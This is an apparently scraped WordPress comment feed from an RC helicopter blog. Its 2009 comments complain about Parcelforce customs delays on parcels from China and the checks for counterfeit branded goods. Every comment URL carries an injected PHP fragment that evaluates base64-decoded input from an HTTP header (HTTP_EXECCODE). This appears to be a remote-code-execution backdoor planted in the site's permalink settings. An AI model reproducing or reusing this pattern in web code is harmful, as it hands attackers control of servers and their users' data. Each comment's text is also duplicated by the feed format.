Comments on: Parcelforce/Customs Clampdown http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ RC Helicopters Wed, 13 Apr 2011 19:34:18 +0000 hourly 1 http://wordpress.org/?v=3.2.1 By: Richard http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-221 Richard Mon, 21 Sep 2009 09:17:17 +0000 http://heli.brixtonjunkies.com/?p=196#comment-221 We import tea from China using EMS. It used to take about 7-8 days door to door, from China to our UK address - now the delays in clearing customs generally add an extra week to the total delivery time. Our parcels will never clear customs in less than four days - which turns an impressive delivery time into a sluggish one. Disappointing. I would be interested to know if the commercial courier companies like DHL or UPS have the same customs delays - I can't help feeling that Parcelforce aren't that bothered about pushing for quicker movement of the goods being carried in their name. We import tea from China using EMS. It used to take about 7-8 days door to door, from China to our UK address – now the delays in clearing customs generally add an extra week to the total delivery time. Our parcels will never clear customs in less than four days – which turns an impressive delivery time into a sluggish one. Disappointing.
I would be interested to know if the commercial courier companies like DHL or UPS have the same customs delays – I can’t help feeling that Parcelforce aren’t that bothered about pushing for quicker movement of the goods being carried in their name.

]]> By: alchemist http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-18 alchemist Wed, 24 Jun 2009 14:07:27 +0000 http://heli.brixtonjunkies.com/?p=196#comment-18 So basically anything with a <strong>big brand name</strong> which is considered counterfeit is confiscated. So basically anything with a big brand name which is considered counterfeit is confiscated.

]]> By: john http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-16 john Wed, 24 Jun 2009 12:33:54 +0000 http://heli.brixtonjunkies.com/?p=196#comment-16 This has happened recently as of June, all goods from china are being stopped and checked. They are checking every parcel for fake shoes especially ugg boots and nike trainers. This however means that every other parcel from china is being delayed. The usual waiting time is around 2 days but this has now jumped upto 4-5 days. They are banning everything with brand names which are being confiscated, if you have any goods with brand names on it its likely it will be delayed or even confisicated. However Customs are STRICTLY looking at the shoes/hair straigtner market because the brand names have insisted that their own people should check the goods themselves. Its not actually customs that are doing the checking its the actual brand companies themselves. Secondly Customs have installed new xray equipment to detect goods which are like shoes straigtners etc, if anyone is importing counterfeit goods from china via ems like shoes straigtners then they wont be lasting long, however this does not apply to all goods such as mobile phone accessories which are actually made and distributed in china. This has happened recently as of June, all goods from china are being stopped and checked. They are checking every parcel for fake shoes especially ugg boots and nike trainers. This however means that every other parcel from china is being delayed. The usual waiting time is around 2 days but this has now jumped upto 4-5 days. They are banning everything with brand names which are being confiscated, if you have any goods with brand names on it its likely it will be delayed or even confisicated. However Customs are STRICTLY looking at the shoes/hair straigtner market because the brand names have insisted that their own people should check the goods themselves. Its not actually customs that are doing the checking its the actual brand companies themselves.
Secondly Customs have installed new xray equipment to detect goods which are like shoes straigtners etc, if anyone is importing counterfeit goods from china via ems like shoes straigtners then they wont be lasting long, however this does not apply to all goods such as mobile phone accessories which are actually made and distributed in china.

]]> By: alchemist http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-6 alchemist Wed, 10 Jun 2009 18:49:55 +0000 http://heli.brixtonjunkies.com/?p=196#comment-6 Finally movement, 4 days in Customs, what a Joke. Finally movement, 4 days in Customs, what a Joke.

]]> By: alchemist http://heli.brixtonjunkies.com/2009/06/10/parcelforcecustoms-clampdown/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-5 alchemist Wed, 10 Jun 2009 17:46:01 +0000 http://heli.brixtonjunkies.com/?p=196#comment-5 I just spoke with the "Customs Advice Line" and there is a massive backlog in the Coventry International Hub. I was told to expect up to a 7 day delay, it is due to the screening of deliveries from China, in my case Hong Kong. They are apparently looking for counterfeit items. Are Zippy batteries considered counterfeit lol I just spoke with the “Customs Advice Line” and there is a massive backlog in the Coventry International Hub. I was told to expect up to a 7 day delay, it is due to the screening of deliveries from China, in my case Hong Kong. They are apparently looking for counterfeit items.

Are Zippy batteries considered counterfeit lol

]]>